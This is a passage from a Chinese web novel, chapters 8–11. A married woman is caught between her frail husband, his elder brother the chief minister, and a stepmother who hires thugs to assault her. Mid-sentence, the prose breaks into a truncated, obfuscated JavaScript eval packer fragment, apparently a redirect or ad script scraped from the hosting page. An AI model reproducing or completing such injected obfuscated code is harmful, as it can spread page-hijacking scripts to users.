姜文焕性情平和,甚少发怒,这么一闹,倒是把杨氏给震慑住了。杨氏抿紧嘴唇不再说话。 得了空闲,姜文焕才把目光投到姜姝身上,语气和软了很多:“好孩子,你一惯懂事,受了委屈也不肯多说一句,这样的好性子,纵得旁人不知天高地厚了。” “今日若不是我来正厅,不知道你得被欺负到何种境地。” 姜文焕自诩温雅、平日里除却当差,就是在书房消磨时光,姜姝进门的时候,让小厮给姜文焕送了一套上好的墨宝,姜文焕十分高兴,这才想着到花厅瞧一瞧久未见面的长女,好巧不巧就看到了姜然撒泼的一幕。 姜然蛮横无理,姜姝却并不跟她计较,她温声道:“都是一家子骨肉,有什么委屈不委屈的,只要二妹妹和母亲不责怪女儿,女儿就心满意足了。” 看着姜姝委曲求全的样子,姜文焕愈发不忍,横眉斜向杨氏:“姝姐儿好容易才回来一趟,你还不快些吩咐厨房准备席面。 今日絮娘也不用回后罩房做针线了,一同在花厅用饭,都是自家人,关起门来也用不着讲究那许多。” 林氏出身贫寒,连个正经名字都没有,因着行六,家人一直唤她小六,后来家乡闹蝗灾,父亲把她卖给人牙子换了一旦小米。 杨氏将她买回家以后,姜文焕见她容色清丽出尘,犹如三月飞絮,便给她取了絮娘这个名字。 杨氏打心底瞧不上林氏,一个贱籍奴婢有什么资格和她同桌用饭,心里不平归不平,但因着姜文焕还在气头上,她不想触他的霉头,便没有多说什么,提脚进了厨房。 这是林氏第一次进花厅用饭,期间战战兢兢,只吃眼前那两碟菜,连头都不敢抬。一用完饭,便像鹌鹑一样拉着姜姝回了后罩房。 她抚了抚胸口,压低声音问姜姝:“姝姐儿,今日到底是怎么回事,我看二小姐气得脸都黑了。” 姜容的性子随了林氏,也十分胆小,她蹑蹑地凑到姜姝身边,扯了扯姜姝的衣袖,小声说:“二姐姐一向跋扈,她是不是又欺负大姐姐了?” 姜姝摇摇头,这才把事情的始末告诉林氏和姜容,姜容直呼了不得:“二姐姐好大的胆子,竟连首辅大人都敢肖想。” “大姐姐胆子也大,为了维护陆首辅的清誉,都敢和母亲斗智斗勇了,我得向大姐姐学习,以后也得有自己的主见。” 姜容时年十四,眼睛亮得像天上的星星,小脸圆嘟嘟,脸颊上嵌着两个小梨涡,说起话来十分娇憨。 姜姝笑着捏了捏姜容的小脸,柔声道:“母亲和然姐儿是因着我才有机会参加信阳侯府的宴会,我断然不能让她们在侯府兴风作浪。” 姜姝一面说话一面把随身的包裹打开,里面除了有姜容喜欢的糖果糕点,还有两袋银瓜子。那银瓜子沉甸甸的,少说也有二十两。 林氏看到那包裹,脸色都白了,直对着姜姝摆手:“姨娘知道你孝顺,你带些瓜果吃食也就罢了,怎么还拿了这么多银钱。 你父亲官职低微,咱们家原就比不上信阳侯府,你再拿这么些银子回来,怕是会愈加让人瞧不起,你快些把这银瓜子收起来罢!” 姜姝只道无碍:“世子的私产都是我在打理,每个月只利钱就花不完。除此之外,我每个月还有十两的月例,侯夫人再给我五两补贴,这么多银钱,我一个人可怎么花得完,需得姨娘和妹妹帮帮忙才是。” 林姨娘的月例是500文,姜容200文,她们的月例原就少得可怜,杨氏每个月再找由头扣一些,到手就所剩无几了。 对于林氏和姜容来说十五两银子简直就是天文数字,林氏惊得瞠目结舌。 姜姝笑盈盈道:“女儿总算没有高嫁,旁的不说,手头还是宽裕的。” 女儿手头宽裕,林氏自然高兴,但想到姜姝的处境,她又不由有些着急:“你成亲时间也不短了,肚子怎么还没有动静?” “咱们家和信阳侯府地位悬殊,你必须有子嗣傍身才能立足。” 说起子嗣姜姝不由颦起眉头:“子嗣的事要看缘分,也不是想要便能有的。” 林氏是过来人,自觉姜姝话中有话,遂把姜容支到外间,她压低声音道:“姑爷身子不好,难免懈怠,房事上你得主动一些,我不是教过你吗,女子在上面也是可以的。” 姜姝到底是姑娘家,听到林氏把房事放到明面上说,脸上不由浮起两片红云,她连连应是:“女儿知道了,姨娘不要忧心。” 眨眼间太阳就隐到了山后,姜姝是出嫁女,没有缘故不好在娘家过夜,只得告辞离开。 马车行出铜雀巷,在临河的煜街和一辆素色马车狭路相逢。煜街狭窄,需得有一辆马车相让才能错开。 姜姝从来不在无关紧要的小事上与人争执,她掀开车帘,温声吩咐马夫:“把车赶到侧边,让……” 话还未说完,就见对面马车的主人也掀开了车帘,那人身穿一袭灰色圆领袍,身材颀长,面容俊秀如竹,正是姜姝的前未婚夫叶潜。 四目相对,姜姝的心不由颤了两颤,她深吸一口气,像是遇到普通好友一样,向叶潜露出一个温婉的笑容。 叶潜颔首,他走到姜姝的车辕旁,温声对姜姝道:“可否借一步说话?” 道路空旷,四周无遮无掩,倒也不需要避讳什么。姜姝跳下马车,和叶潜走到河堤边说话。 叶潜从袖兜里拿出一个荷包,双手捧着递到姜姝跟前:“这里面是二十三两纹银,你且收起来。” 姜姝摇摇头:“叶潜哥哥,伯母身子不好,你且用这银子给她买些补品,就当是我孝敬伯母了。” 叶父去的早,家中只余下叶母和叶潜。叶母身子不好,常年染疾,自叶姜两家订下亲事后,姜姝便时常到叶家照顾叶母。 她虽没有如约嫁给叶潜,在心里,却把叶母、叶潜当成了自己的亲人。 至于留给叶潜的银子,也只当赠给他了,从未想过要他归还。 叶潜又如何不知道姜姝的想法,但他无论如何都不会凭白接受姜姝的银钱。 姜家确实毁了婚约,姜姝却没有毁约。 她从来都不曾亏欠过他,她待他,可谓仁至义尽。 信阳侯府到姜家向姜姝提亲以后,姜文焕起了跟叶家退亲的主意。姜姝不依,为了遵守和叶潜相守一生 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男子合该建功立业、供养女子,又哪里能反过来要女子的银钱,他便是落魄到乞讨的境地,也不能收姜姝的纹银。 叶潜十分执拗:“姝儿,你无论如何都要收下这荷包。” 姜姝吃过没钱的苦,现下她过的滋润,却也不忘关心叶潜:“听闻你中了进士,现下可否入仕?” 叶潜道:“昨日刚到翰林院报了道,任庶吉士。” 姜姝并不知道庶吉士是什么官职,她只关心叶潜的生计:“你刚刚上任,用银子的地方还多,不若先拿着这银子使,待手头宽裕了再给我。” 叶潜低声道:“科考以后我也算小有名气,所得润笔之费足以糊口,姝儿莫要再为我的生计心忧。” 叶潜文采斐然,当年姜文焕肯把姜姝许给他,便是看中了他的潜力。现下他一举成名,被圣上钦点为探花郎,倒也没辜负姜文焕的厚爱。 叶潜那一手馆阁体很受人追捧,润笔费高达百两。 眼见着拨云见雾迎来了曙光,却再也不能和姜姝共享。 人生,果真遗憾要多于幸事。 得知叶潜过得好,姜姝才放下心来,她不再推辞,将那沉甸甸的荷包放入袖中。 天色越来越暗,他们不好耽搁,二人前后脚向马车折返。 姜姝慢慢行着,说不出是什么滋味,身后那人与她青梅竹马,二人原本是要结成夫妻、举案齐眉的,现下却天各一方,连见面都成了难事。 都怪造化弄人。 约莫是想的太过于入神,姜姝一个不察,被地上的石块儿绊住,脚踝传来一阵刺痛,身子直直向后倒去。叶潜眼疾手快,忙上前将人扶住。 气派的青帷马车由远及近而来,陆长稽冷眼瞧着,只见岸边的男女姿态亲密,男子握着女子的纤腰,女子回眸凝着他,满目柔情。 扶在腰间的手已经松开,姜姝尤觉得不好意思,耳朵热辣辣的,像是要烧起来一般。 她一向沉稳,怎么就在叶潜面前丢了如此大的人。 姜姝默默叹了一口气,低声道:“实在是……” 话还未说完,一道清脆的铜铃声传到耳边,抬起头,只见一辆雕刻着信阳侯府徽志的马车正停在岸边。 车窗内露出一张刀刻斧凿的俊美脸颊,那张脸上分明没有什么表情,姜姝却没来由地感觉到了一阵寒意。 9. 第九章 姜姝看着陆长稽的侧脸,身体不由绷紧,双手微微发起抖来。适才那样的情形,任是谁瞧见了都会怀疑她和叶潜有染,她又如何解释的清。 女子的清白最为重要,若真传出风言风语,她也不用活了。 姜姝强忍着疼痛,大步向岸边行去,堪堪走了几步,便见车帘垂了下去,青色的马车调了个头,不急不缓向远处行去。悬在车辕处的铜铃声不绝于耳,姜姝的心也晃晃悠悠荡个不停。 直到第二日,姜姝依旧心有余悸,仿若有一把利剑悬在头顶,随时随地都会置人于死地。 她不是积粘的性子,心里有疙瘩,总要解开了才能安心,趁着陆长易小憩,姜姝行到屋外打听消息:“大爷今日可在家?” 方玉有些惊讶,二奶奶谨言慎行惯了,甚少出欣春苑,打听旁人的行踪倒是头一遭。 做下人的,头一条便是要管住嘴,方玉也不多做置喙,温声对姜姝道:“二奶奶稍待,奴婢去探一探。” 方玉的父亲是信阳侯府的管事,方玉在府内很有几分体面,三言两语便从门房处探到了消息。 她折回花厅对姜姝道:“二奶奶,大爷今日休沐,没有出门子。” 姜姝点点头,拿出那件陆长稽借给她的披风,另做了一份枣花酥,以向陆长稽道谢为由,乘软轿向迦南院行去。 迦南院很阔,也没有修走廊和凉亭,院内除却几丛修竹,并没有旁的装饰,尽显庄重大气。 姜姝由程用引着进入花厅,姜姝进屋的时候陆长稽正在饮茶,茶香袅袅,氤氲出一层水汽,无端的便给坐在茶榻后的陆长稽增添了几分禅意。他的脸上显现出一种庄严慈善的佛陀之态。 姜姝被自己的想法吓了一大跳,暗暗责怪自己狭隘,总不该因着陆长稽这俊美的长相,便轻而易举卸下心防。 年纪轻轻便能在朝堂搅弄风云的人,又岂会是心慈手软之辈。 有时候表面越是和善的人,心思越是深沉。与之相处时,也越发要谨言慎行。 姜姝收回目光,恭恭敬敬向陆长稽行了个礼,把那件翠雾色披风捧到陆长稽跟前,斟酌着道:“大伯,这是您的披风,我已经洗干净了,前几日多亏有您相助,我才不至于丢人现眼,真真感激不尽。” 姜姝话音刚落,程用便接过披风,拿到了里间。 屋内只余下陆长稽和姜姝二人,陆长稽也不说话,漆黑的眸子微微垂着,让人瞧不出半点情绪。 姜姝有些紧张,她深吸一口气,把新作的枣花酥放到陆长稽跟前的书案上,声音有些干涩:“大伯,这是我新做的枣花酥,您尝尝味道怎么样?” 陆长稽捏起枣花酥,放入口中咬了一口,温声道:“尚可。” 如此,便再不多言,复又把目光投到书卷上。 屋内复又恢复安静,姜姝顿在原地,站也不是、坐也不是,只觉得尴尬的无所适从。 有些事,旁人开口来问,便可以顺理成章的解释,旁人若不问,自己自顾自回答,就有些欲盖弥彰的意味。 陆长稽始终都不开口,姜姝没法子,只得硬着头皮把那日的始末说了一遍,末了又道:“我和叶潜虽订过亲,但事情已经过去了,我现下的心思都在世子身上,决不会做出寡廉鲜耻的事,还望大伯不要误会。” 陆长稽没有接姜姝的话,他打开案几下的小抽屉,从里面拿出一个白色瓷瓶:“这是御药房特制的生肌膏,有活血化瘀之效,每日涂两次,用不了三日,你的脚踝便可恢复如初。” 生肌膏? 姜姝怔愣片刻,这才反应过来,陆长稽根本没有误会什么,反倒是她以小人之心度君子之腹,误会了陆长稽的用心。 她握着那生肌膏,满面窘态,逃也似地离开了宴西堂。 回到欣春苑,正巧遇到赵氏探望陆长易,赵氏平日里眼睛是长在天上的,唯有和陆长易说话的时候,才会流露出几分慈爱之色。 她打量着陆长易,低声道:“我瞧着你的脸色比前几日要红润一些,身子是不是爽利了?” 陆长易道还成:“左右是活也活不畅快,死也死不了,就这么熬着吧,天晓得还能活多长时间。” 他任性惯了,说起话来素无遮拦,赵氏从来不跟他一般见识,见姜姝回来,便耐心叮嘱姜姝:“世子身子弱,你要格外上心,屋子不能开窗,莫要让他冷着冻着。 吃食也要绵软温热的,瓜果虽好,克化不了便没有益处了。” 姜姝道是:“儿媳定会一心一意照料世子,让世子开怀。” 说到这儿,姜姝忽得想起管家的事情,她对赵氏道:“母亲,可是儿媳太过于愚笨,惹您生气了?” “儿媳哪里做得不好,您直接指出来便是,只望您不要嫌弃儿媳。” 姜姝聪颖好学,按私心,赵氏倒是愿意指点她,但想到陆长易的嘱托,只得把话带到别处:“我新得了一罐雪岭青,你且去沏一盏尝尝。” 赵氏有意把话题岔开,姜姝也没法子,提步行到外间。 待房门关上,赵氏才询问陆长易:“姜氏是你的嫡妻,侯府的中馈早晚都得交到她手中,你为何不愿让母亲指点她管家。” 陆长易轻咳一声,仰靠到身后的迎枕上:“儿子是个短命的,指不定哪天突然就过去了。” “我不求功名利禄,只盼着过的快活一些,姜氏让我欢喜,我便要时时刻刻与她在一起。” 阳光透过窗棂打到地上,拉出几道长长的光,陆长易盯着那几道光影,低声喃喃:“我是出不了这屋子了,便让姜氏长长久久陪着我吧,左右我是离不得她。” 赵氏微愣,心里不由生出几分妒意,她的儿子率性肆意,即便对着她,也是想甩脸子就甩脸子,现下却为了讨好姜姝,做起了两面三刀之事。 也不知那姜姝到底有什么本事,竟把她的儿子迷的失了魂魄。 赵氏呷了一口瓜片,终于还是问出了藏在心里的疑问:“你当初为何非姜氏不娶?” 虽说陆长易和姜姝订了娃娃亲,但两家门第悬殊,若是陆家不认这门亲事,姜家也无可奈何。 赵氏出身大族,从心底里瞧不上小门小户的姜姝,一直想给陆长易娶一位门当户对的闺秀。 奈何陆凛一意要履行诺言,陆长易也像是着了魔,非姜姝不娶,他以绝食相要挟,这才逼得赵氏到姜家提了亲。 若是成亲以前赵氏问出这个问题,陆长易断然不会告诉她来由,现下已把姜姝娶到了家,陆长易便没有什么顾忌了。 那一日立春,下着微雨。杨氏携厚礼到信阳侯府拜访赵氏。因着私心,杨氏不想让姜姝在赵氏面前露脸,便以娶斗篷为由,把姜姝打发到了外院。 陆长易像往日一样,坐在轮椅上斗蛐蛐儿,他自幼体弱,长到二十岁连侯府的大门都没出过几次,最大的消遣便是斗蛐蛐儿。 蛐蛐儿瞧着不起眼,却极残暴,只要拉开架势总要斗得你死我活才肯罢休。 府内的岁月太过于平淡无聊,每当看到战败的蛐蛐儿要被得胜者咬得遍体鳞伤的时候,陆长易心中便会获得一股奇异的快1感。 这快1感是他索然无味的人生中唯一的调剂。 两只蛐蛐儿正斗得剑拔弩张,陆长易忽听到一阵轻快的脚步声。 赵氏治家严,府内的人行动站立都是用尺子量出来的,从来没有一个人能走出这样轻盈的步伐。 他不由抬起头来,只见一个身穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜姝悄悄安慰自己,扛过去就好了,说不定这次就怀上了呢,以后便再不用胆颤心忧。 可惜,终究还是没有成事,陆长易像气球一样,很快就萎靡下去。 姜姝顿住,察觉到身下那人越来越僵硬,体温也越来越凉,她的心也慢慢沉到谷底。 姜姝深吸一口气,从陆长易身上下去,仰躺到榻上。 千工床做工精细,床顶雕着大户人家喜闻乐见的百子图,姜姝盯着着那百子图,不由沁出两行清泪。 夜静悄悄的,姜姝虽十分委屈,却也不敢哭出声,待陆长易睡着以后,她摸黑穿上外衫,提步行到院外。 信阳侯府有一片湖,月光照到湖水上,映出粼粼的光,姜姝坐到湖边的石凳上,双手扶着椅背,终于痛哭出声。 她知道自己不能责怪陆长易,可她又能怎么办,她半点错处都没有,难道真的要让赵氏以她无子为由,把她休回娘家吗? 心里像是堵了一团棉花,虽然不致命,却也不能痛快过活,除了借1种,姜姝根本找不到保全自身的好办法。 可她、可她……不到万不得已,她又哪里做得出借1种这么龌龊的事情? 思绪结成一团乱麻,怎么都捋不清明,姜姝低低啜泣着,眼泪像是决堤的水,把她的衣襟染的湿漉漉的。 时间一点一点过去,因着痛哭了一场,姜姝虽还是没有找到应对赵氏的法子,心里却畅快了很多。 她坐直身子,欲要往欣春苑折返,却见一只骨节分明的手,将一块儿手帕递到了她面前。 “弟妹,把你的眼泪擦干净。” 10. 第十章 陆长稽沐浴在月光下,狭长的丹凤眼凝着姜姝,眸光沉静又温和。 姜姝呼吸凝滞了一瞬,心跳也不由加速,她深吸一口气,接过陆长稽手中的帕子,匆匆把眼角的泪水擦掉,低声道:“让大伯见笑了。” 陆长稽只道无碍,温声问道:“你遇到了什么难处?” 若不是遇到了解决不了的难题,她也不至于深更半夜,一个人在院外哭泣。 他问的不是‘是不是遇到了难处’,而是‘遇到了什么难处’,摆明了想要帮她。 姜姝抬起头,借着夜色的遮掩,大胆地打量陆长稽,陆长稽身材颀长、肩宽体阔,腰背挺得笔直,显见有一副十分康健的身子。 他这样的体魄,当金刚不倒,定不会像陆长易那般屡屡让她失望。 黑色将光明遮盖,也让姜姝变得肆意大胆起来,她张张口,险些把自己的需求宣之于口。 她真的需要帮助,且只有陆长稽能帮她,可惜,她永远都不能也不敢把自己的需求说出口。 姜姝抿了抿嘴唇,低声道:“我没有遇到难处,劳烦大伯费心了。” 陆长稽不喜欢强人所难,姜姝既不愿意说出实情,他也不会勉强,只夜阑人静,侯府虽有护卫,到底不如白日安全,他不能放任姜姝一人在湖边啜泣。 陆长稽温声对姜姝道:“夜深露重,我送弟妹回欣春苑!” 姜姝从来都不是任达不拘的性子,陆长稽发了话,她便从善如流,随着他向欣春苑折返。 夜静悄悄的,二人不再说话,只有经过台阶的时候,陆长稽低低的提醒声。 这一夜姜姝睡得很香,睡醒的时候才发现自己手中还握着陆长稽的那方帕子。 分明没做什么亏心事,她却没来由得心慌,姜姝捏着帕子踱到侧间,把珠儿打发到外间以后,才将帕子摊开。 那帕子通体雪白,左下角绣着一丛青竹,茂竹亭亭,高洁凌然,倒是很有几分陆长稽的气韵。 帕子是贴身之物,她不能占为已有,按说她应当把帕子洗干净以后还给陆长稽,但想到自己前几日刚以还披风为由进了一次迦南院,若再去还帕子,怕是会被人误会她有意为之。 姜姝摩挲着那帕子,入手轻薄绵软,当是杭绸所制,小小的一块儿,细论起来,并不值什么,怕是大伯早已把这帕子忘到了脑后。她也不必因着这一方帕子去惹眼了。 姜姝打开立柜,把帕子放到里面,虽把帕子安置好了,她却尤不放心,复又把帕子压到立柜的最下面,这才转身离开。 眨眼间就到了杨氏的生辰,主母过生辰是大事,姜姝让珠儿到库房拿了一些干果吃食、衣裳料子,复又亲自选了一套镶黄岫玉的头面做生辰礼,零零总总装了两大箱子。 临要出门,见陆长易也起了身,姜姝有些惊讶:“世子今日怎么起得这样早?” 陆长易把她的手握在掌心,温声道:“今日是岳母的生辰,于情于理我都应该到场庆贺。” 陆长易是一片好心,姜姝的手心却冒了一层冷汗,她勉力扯出一个笑容,委婉着道:“世子的好意我心领了,想必母亲知道了也会十分欣慰,但姜宅距信阳侯府甚远,马车又颠簸,世子好生在家里歇着便是,何故讨这份苦吃。” 陆长易知道姜姝是为着他的身子着想,可但凡男子,又有哪个愿意让心爱之人瞧不起呢? 他道:“我的身子虽不中用,却也不是纸糊的,出一趟门倒还能经受住。” 男子的尊严比天还高,话说到这个份上,姜姝也不好再做阻拦,但她到底不放心,小声嗫嚅:“不若让方玉到宴西堂走一趟,把您要出门的事知会给母亲?” “我穿什么,母亲要管,吃什么,母亲也要管,难道连出门的自由都没有了吗?”陆长易的语气急促起来,脸色愈发苍白。 他的身子最怕动气,姜姝唯恐他气出好歹来,赔笑道:“世子想做什么便做什么,您身份尊贵,我巴不得您到姜家给我撑腰呢。” 她一面说话,一面看向珠儿:“把马车里的冰鉴撤出来,再铺上两层厚厚的垫子,今儿个世子陪我归宁,我再高兴不过了。” 一行人浩浩荡荡进了铜雀街,听闻世子亲自上门,姜文焕忙携了杨氏到门口相迎。 信阳侯府的马车长六米,宽四米,其上坠着珠玉,行走间声音泠泠,华贵精美。 来给杨氏祝寿的都是和姜家门第相仿的人家,他们哪里见识过这样气派的马车,不由啧啧称赞,感叹姜姝嫁得煊赫,给街坊邻居长脸。 在众人的赞叹声中,姜姝扶着陆长易下了马车,她身穿一袭大红色缂丝褙子,头戴攒珠金丝头面,肤白貌美,风华照人,便连姜宅那半新不旧的大门,都因着她多了几分光彩。 康夫人首先出声赞叹:“怪不得姝姐儿能高嫁,瞧瞧姝姐儿这模样,怕是天上的神妃仙子都比不得。” 于家太太也连声附合:“我长了近三十年,头一次见到如姝姐儿这般貌美的娘子,今个儿真真长了见识了。” 众人一面说话,一面簇拥着姜姝进了大门,姜姝是晚辈,合该坐在尾席,但因着陆长易身份尊贵,杨氏不得不把他们夫妇安排到了主席上。 陆长稽炙手可热,在座之人没法子和陆长稽交好,便牟足了劲儿讨好陆长易,敬酒的敬酒,倒茶的倒茶,杨氏这边反倒成了陪衬。 杨氏气咻咻盯着姜姝,暗怪她喧宾夺主,抢了她这个寿星的风头。可惜,正值杨氏的好日子,她若发作起来丢的便是她自己的面子,她暗暗忍耐着,擎等着宴会结束,才黑着脸进了内间。 杨氏掀开帘子,一眼就瞧见了气势汹汹的姜然,姜然低声道:“母亲,您瞧瞧姜姝那副小人得志的样子,她不就是嫁了个信阳侯府世子吗,竟张狂的连东南西北都分不清了。” “您就是太好性儿,好端端的寿宴,竟让自己的庶女抢了风头,我若是您,可没脸再管家了。” “呦,你这是怪我没本事,连个庶女都挟制不住吗?”杨氏正在气头上,也不再惯着姜然,母女两针尖对麦芒的掐了起来。 见杨氏心情不悦,姜然不敢再阴阳怪气,软了声调道:“母亲,姜姝不过嫁了个病殃殃的世子,就张狂的不可一世,女儿若是能嫁给陆长稽,定能比她风光百倍。” “待女儿成了事,您就是首辅的岳母,咱们家也会跟着水涨船高,看看谁还敢冷落您?” 姜然的话不无道理,可她已然失掉了高攀陆长稽的机会,杨氏又能有什么办法,杨氏道:“母亲知道你嫁给陆长稽,会给家里带来诸多益处,可陆长稽那样的人物,没有人引荐,又启是我们能高攀得上的?” 姜然眨眨眼睛:“母亲真是越活越糊涂了,陆首辅是世子的亲兄长,若是世子肯牵线搭桥,女儿未必不能得到陆首辅的青眼。” 这倒不失为一个好办法,但想到陆长易那副冷漠高傲的样子,杨氏又打了怵,当初陆长易识破了她想让姜然代替姜姝嫁人的诡计,狠狠惩治了她一番,现下一想到陆长易,她就惴惴不安。 姜然道:“女儿知道母亲支使不动世子,但世子待姜姝似眼珠子一般,只要姜姝开口相求,世子定会应允。” 杨氏拍手称是,当即就把姜姝唤到了屋内,她也不绕圈子,直接道:“你妹妹性情高洁,容貌姣好,品貌皆为上乘。与你大伯甚是相配。” “你若真心为家里着想,就该让姑爷给你二妹妹和陆首辅牵线搭桥,如此,也不失为一桩美谈。” 姜姝险些笑出声来,她万万没想到杨氏会如此不要脸,且不说两家的门第差距,单说人品,二人就悬殊若天地。 陆长稽举世超伦、如圭如璋,姜然呢,打小就跋扈无礼,惯会仗势欺人,甚至连她的姐夫都肖想,这样两个人无论如何都不能说是相配。 既然杨氏把话挑到了明面上,姜姝也不会惯着她,直接道:“世子身体羸弱,平素里连门都不会出,莫说是我,即便侯夫人都不敢劳动他。 母亲可千万不要为难我了,我孤身一人嫁到侯府,肚子也不争气,半点依仗也没有,若是惹恼了世子,以后的日子可该怎么过呀?” 姜姝越说越悲戚,皱着眉头,嘴角微弯,瞧起来犹如梨花带雨、楚楚可怜。 林氏每每委屈的时候,就会做这种姿态,姜文焕见了总要护一护。杨氏看到姜姝这种形态,没来由的就觉得烦躁,一掌拍到案几上,把上面的杯盏震得四分五裂。 里间动静太大,惊扰了外间的贵客,若是旁的男子,为着避嫌,断不会闯入内间。 陆长易却从来不会被世俗所桎梏,他倏得站起身,撩开门帘就进了屋,姜文焕见他脸色不好,也匆匆跟了进去。 屋内,杨氏脸色铁青,身旁还有碎裂的瓷片,再看看姜姝,神色楚楚,一瞧就是受了大委屈。 陆长易坐到临窗的大炕上,双目睇着杨氏,骂道:“老虔婆,你是个什么东西,竟也敢让姝儿受委屈。你若再敢言行无状,小心我剥了你的皮。” 杨氏以前就领教过陆长易的厉害,只没想 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姜文焕做了失格的事,心里发虚,他也不反驳杨氏,只坐在那里,任杨氏责骂。 杨氏骂得口干舌燥,见姜文焕始终都没有反应,也就懒得骂了,一扭身回到寝屋,命丫鬟把房门反锁,打定主意不让姜文焕上她的榻。 万籁俱寂,姜然在榻上翻来覆去怎么都睡不着,一想到姜姝被众人簇拥的风光样子,心里就像被针扎了一样。 她分明比姜姝出身好,才华高,凭什么要被姜姝压一头,姜然越想越生气,倏得站起身,冲进正屋,抬手敲响了杨氏的屋门。 杨氏只当姜文焕来向她低头认错,生气之余心里又冒出了一些别样的情绪。 她清了清嗓子,尽量让自己的声音显得柔媚一些:“我当你早已到林氏那里就寝了,怎么又来我这儿了?” “你既不护着我,以后也不用进我的屋子,咱俩各睡各的,也好过同床异梦,遇到难处只肯自保。” “母亲,您在说什么?”杨氏擎等着姜文焕来安慰她,没想到倏然听到了姜然的声音。 杨氏一慌,忙把褪到肩头的小衣归拢好,下床打开屋门。 她的脸微微有些红,硬着嗓子对姜然道:“大半夜的,你不好好睡觉,来我这里做什么?” 姜然的心思都在姜姝身上,她并没有细品杨氏的话,直接说道:“母亲,姜姝和世子欺人太甚,难道我们就这样任他们欺辱吗?” “不若母亲把姜姝叫回家来,好生教训她一顿,也好好撒一撒心里的郁气。” 杨氏在姜家一向说一不二,从未受过委屈,活着近四十载,还是头一次被人指着鼻子骂,心里也十分气愤。 她原本想恭维着姜姝,让姜姝给姜然谋一个好亲事,没想到姜姝圆滑的很,口头说的好听,行动上却不肯出力,接二连三的出幺蛾子。姜姝既不肯为姜家打算,就休怪她心狠手辣。 杨氏把姜然拉到茶榻上,开口说道:“你教训她一顿能有什么用,不过出口气罢了,对她却半点伤害都没有。 不若好好筹谋一番,到时候一击毙命,让她在信阳侯府再也抬不起头来。看她还怎么在咱们家耀武扬威。” 姜然只是想出口气,没想到杨氏竟要断了姜姝的后路,她瞪大眼睛盯着杨氏:“您当初不是说要借着姜姝的关系为父亲谋门路吗,若真让姜姝抬不起头来,她以后可怎么为咱们家助力?” 杨氏只道姜然太过于天真,她挑了挑眉,阴阳怪气道:“我以前当姜姝那丫头是个老实的,我算是看明白了,别瞧她面上温吞,骨子里可是有主意的很。 现在她就敢忤逆我,等在信阳侯府站稳了脚跟,必得闹翻天。与其将来制不住她,倒不如现在就把她的前路掐断了,让她再逃不出我们的手掌心。” 细细琢磨,姜然觉得杨氏的话十分有道理,但姜姝十日里有九日都陪在陆长易身边,她们又如何能把手伸到信阳侯府去,姜然愣愣地问杨氏:“诚然母亲的话是对的,实施起来却并不容易,姜姝又岂会任我们摆布” 杨氏伸手在姜然的肩头拍了一下,低声叹道:“你呀你,果真是太年轻了一些,半点城府都没有。 有些事,母亲得尽快教会你才好,没得你将来嫁到夫家,没有手段,凭白被人拿捏。” 杨氏拿出一张请帖,放到姜然跟前:“布政使夫人邀我五日后到她家的别苑游玩,到时候姜姝也会去,别苑人多口杂,防范又松,姜姝便是失了清白,也怪不得我。” 11. 第 十一章 红泥小火炉上吊着药罐,汤药的热气四散开来,熏的屋子像个蒸笼。 姜姝含笑对陆长易道:“这熏药的方子是宫里的温掌院开的,说对身子有益,世子莫要嫌弃汤药的味道难闻,只要能康健起来,吃什么苦楚都值得。” 陆长易怏怏地点了点头,心里不大乐意,不过终归没有拂姜姝的好意,他伸手拉住姜姝,低声道:“我疲乏的很,你陪在我身边罢!” 陆长易给了姜姝体面、地位、财富,姜姝能为陆长易做的,却只有陪伴,即便屋子里湿热难耐,却也不会拒绝陆长易的要求,她回握住陆长易的手,柔声道:“世子只管闭目养神,我给您看着时辰。” 有了姜姝这句话,陆长易才放下心来,他无精打采地仰躺到小火炉旁,任药气熏到身上,一点一点浸入肌理。 陆长易体寒,守在小火炉旁倒不觉得难耐,姜姝却热得汗流浃背,不过半个时辰,仿佛熬了好几个春秋,衣裳湿得能拧出半碗水。 她趁着长顺给陆长易擦拭身子,转身到盥室沐浴,浴桶内放着温水,水中兑了玫瑰花露,姜姝舒舒服服的泡在水中,没一会儿身上就盈满了玫瑰花香。 陆长易性子急,若长时间瞧不见姜姝,便要闹脾气,姜姝换上夏衫,也顾不上晾头发,一面擦拭头发上的水珠一面向寝屋行去。 绕过多宝阁,只见长顺正守在寝屋门口,长顺也瞧见了姜姝,他把食指竖到唇边,做了个噤声的手势,示意姜姝陆长易已经就寝了。 姜姝松了一口气,传来轿撵,乘轿进入小凉苑,小凉苑占地较高,院内修有水景,打开窗子的时候,风会把水汽吹到屋内,这样的院子,冬日住着太冷,到了夏日却是绝佳的避暑胜地。 姜姝畏热,一有空闲就会来小凉苑小憩,她踏到屋内,把四周的窗子尽数打开,舒舒服服仰躺到贵妃榻上,捏起一颗冰镇桑葚放入口中,冰凉沁甜的汁水在口腔爆开,整个人都舒爽起来。 姜姝复又拿了一颗桑葚,这颗桑葚还未入口,便听房门被人推了开来,只见珠儿风风火火进了屋。 珠儿掐着腰喘了好一会儿,才将气息匀了,她凑到姜姝跟前,忿忿道:“四奶奶,我终于寻到您了,您定猜不到我上半晌瞧见了什么?” 她是个藏不住话的,也不待姜姝询问,便将自己的所见所闻说了出来。 “今日是我小侄的生辰,我特地买了寿桃、红蛋回家给他庆生,我家离信阳侯府太远,我便想着抄近路回去,于是就走了川里街。” 珠儿性子豁达,哥嫂把她卖给人牙子以后,她虽恨透了哥嫂,却没有波及侄子侄女,逢年过节或者到了侄子侄女的生辰,她总要回家瞧一瞧。 川里街是汴京有名的贫民街,住在那里的多是酒鬼流民,甚少有正经人家在哪里落户。若不是想抄近路,便是珠儿也不会踏足。 珠儿用衣袖把额头上的汗水擦掉,接着道:“您猜我在川里街瞧见了谁?我瞧见了杨氏身边的大丫鬟青玉,她头上戴着帷帽,瞧起来鬼鬼祟祟的,一看就没安好心,我便悄悄跟到了她身后。” “这一跟果然不得了,我见她进了一家赌坊,甩给了一个打手两锭银子,让他们五日后混迹到布政使家的别苑,让他们、让他们对您行奸yin之事,毁掉您的声誉和清白。” 珠儿越说脸色越沉,沉稳如姜姝也下意识捏紧了手中的绣绷子,因着太过于用力,骨节处泛起了微微的白。 女子的清白大于天,若失了清白,又哪里还能存活于世,倒不如一根绳子吊死来得痛快。 